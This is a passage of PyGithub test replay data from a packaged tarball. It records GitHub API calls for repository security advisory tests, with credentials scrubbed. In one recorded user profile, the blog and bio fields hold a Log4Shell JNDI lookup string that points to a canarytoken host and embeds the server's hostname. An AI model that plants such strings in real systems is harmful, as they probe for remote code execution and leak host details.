'application/json'} {"credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f198359a2107c042d58ecf72395d46274b3b12337f85384a4019b616c62a67a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '78'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB00:475B:295BC8:551DDE:64260246')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt0000644000175100001660000000763114756101563026115 0ustar00runnerdockerhttps PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"credits": []} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 19:04:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a5b5fadc5ecef7df034508971debefa3dac9324c6dbe6a06e399026c5ff5ec3e"'), ('Last-Modified', 'Tue, 28 Mar 2023 21:41:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1680206007'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D88C:0FC0:1C7A795:3A9AF22:6425DD32')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2050-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2050-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-28T21:41:40Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt0000644000175100001660000005465214756101563031073 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"00fb1f6d00e55be8de5b35d8bbdce396baa8511d61b19e245256debb8a600f6a"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '68'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F3:579F:33D97B:6A74C9:64260736')] {"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1514,"public_gists":33,"followers":651,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} https GET api.github.com None /repos/JLLeitschuh/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67f04d9707348c76ec715daf2a8b7b3707c850c088d1a13b2fc622cdf2e036e7"'), ('Last-Modified', 'Mon, 10 Feb 2020 03:37:22 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4931'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '69'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F4:0A4D:2CF778:5CBB0D:64260736')] {"id":239420449,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk0MjA0NDk=","name":"PyGithub","full_name":"JLLeitschuh/PyGithub","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/JLLeitschuh/PyGithub","forks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/deployments","created_at":"2020-02-10T03:37:20Z","updated_at":"2020-02-10T03:37:22Z","pushed_at":"2023-03-30T17:41:46Z","git_url":"git://github.com/JLLeitschuh/PyGithub.git","ssh_url":"git@github.com:JLLeitschuh/PyGithub.git","clone_url":"https://github.com/JLLeitschuh/PyGithub.git","svn_url":"https://github.com/JLLeitschuh/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13756,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-